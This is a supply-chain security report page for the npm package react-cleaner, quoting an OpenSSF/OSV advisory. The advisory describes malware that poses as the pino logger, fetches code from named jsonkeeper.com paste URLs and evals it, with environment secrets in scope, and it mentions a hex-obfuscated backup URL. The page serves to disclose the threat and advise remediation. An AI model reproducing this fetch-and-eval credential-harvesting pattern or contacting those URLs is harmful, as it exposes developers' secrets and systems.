react-cleaner
This report shows the evidence for react-cleaner@1.0.5. 2 of 2 known versions are blocked or flagged. See all versions.
OpenSSF/OSV Malicious Advisory
imported 4mo ago · by OpenSSF/OSVOpenSSF/OSV advisory MAL-2026-4791 confirms this npm version as malicious.
Advisory
MAL-2026-4791
Source
OpenSSF Malicious Packages via OSV
Summary
Malicious code in react-cleaner (npm)
Details
react-cleaner@1.0.4 is a pino-logger impersonator (package main is pino.js, homepage https://getpino.io, module layout mirrors pino's lib/ tree) that, on require, executes attacker-controlled remote code with the installer's environment in scope. lib/writer.js calls axios.get('https://www.jsonkeeper.com/b/MYUKZ') and passes the response body directly to eval(). jsonkeeper.com is a mutable paste-style host, so the author can rotate the executed payload at any time without republishing. Before the fetch, writer.js assembles a data object containing the entirety of process.env, os.hostname(), os.userInfo().username, os.platform(), and the host's non-internal MAC addresses; this object is in scope when the remote payload runs, giving the attacker direct access to AWS_*, GITHUB_TOKEN, NPM_TOKEN, and any other secrets present in the installer's environment. A second remote-code channel is hex-obfuscated alongside the plaintext one: a hl array decodes to 'axios','get','https://www.jsonkeeper.com/b/HY6M6','then', confirming deliberate concealment of a backup eval source. The combination — pino impersonation as cover, require-time fetch-and-eval from a mutable anonymous host, bulk env scrape staged in eval scope, hex-obfuscated secondary URL — is an unambiguous credential-harvesting RCE.
References
Source & flagged code
0 flagged · loading sourceNo flagged code excerpts are attached to this scan.
Findings
1 High
HighOsv Malicious Advisory
Affected versions and remediation
This report applies to react-cleaner@1.0.5.
The same advisory and Firewall decision cover 2 recorded versions
1.0.4, 1.0.5
The versions list below shows the verdict for each recorded version.
- Avoid installing react-cleaner@1.0.5. Remove it from direct dependencies and check your lockfile for transitive copies.
- Choose an independently verified alternative or release. This report does not establish that other versions are safe.
- If this version ran, investigate the affected machine and build environment. Rotate credentials it could access and rebuild from a trusted environment.
Evidence last updated: .
Source advisory published: .
This report uses published external intelligence. The advisory does not provide a separate source-code analysis for each listed version.
Think this verdict is wrong? Dispute it on GitHub or read how reports are produced.